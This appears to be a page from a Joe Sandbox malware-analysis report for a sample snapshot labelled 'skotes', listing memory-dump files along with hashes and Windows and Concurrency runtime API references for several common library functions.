Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 7047e74b3ce7c17d104bdc922a4f22adf23075e199b9b4d94fdf660abd3c83f1
Instruction ID: efed55dceb57db2fc37c0cea86a8b3ec1996cebaf3224aea0202a1edf46a340b
Opcode Fuzzy Hash: 7047e74b3ce7c17d104bdc922a4f22adf23075e199b9b4d94fdf660abd3c83f1
Instruction Fuzzy Hash: 2A01D631201521AFCA25BB64CFD2F6EB7AABF45710714202DF504B7611DF22EC53A6A0

Function 00ED33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00ED33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00ED33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00ED3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00ED341F

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 4b66a19722e6b0478bd649c6b5ef0bd70d7b87e5b4f92a10107a8d4c170b63ea
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: D601FD32600514ABCB16EA648941EEFB7A9DF40350F001026FC22BB382DA71EE0292A2

Function 00EC9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00EC9519

Part of subcall function 00EBF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00EC5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00EC953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00EC9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00EC9559

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 064422ada1b188344ea884fd9cdf9e349793e28706f33d8e53cca7a0dbf550b7
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 31F0A731200A205FE666AB588A15FAA23D5DF40715F04A41EE86BB7283CF25E943CB60

Function 00ED1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00ED1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED17AF

Strings

pContext, xrefs: 00ED17A7

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 85a36114acdb66ebc9db8268a1bf8c993f48b23bb56a304fe16981a2de34aa34
Instruction ID: c596149710bcd8d32864a99345822fdd48f7c4aa64669617e9056d57dade8ee0
Opcode Fuzzy Hash: 85a36114acdb66ebc9db8268a1bf8c993f48b23bb56a304fe16981a2de34aa34
Instruction Fuzzy Hash: 64112935A00214ABCB15FF28C48496D77A6EF85364B1450A7ED12BB3A2DB30ED07CBD0

Function 00EBCAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,00EC65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 00EBCAFC
CreateSemaphoreW.KERNEL32(?,00EC65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 00EBCB1E

Strings

e, xrefs: 00EBCB12, 00EBCAF0

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e
API String ID: 1078844751-327453039
Opcode ID: e8bd206271b784ee6a29dd702d9c47c15a702f32cf4e88241077a5124d1f5f96
Instruction ID: a6167a4c424095e35a717e973adc7a1355fd88aeb779eba8da0ad289683fc4f3
Opcode Fuzzy Hash: e8bd206271b784ee6a29dd702d9c47c15a702f32cf4e88241077a5124d1f5f96
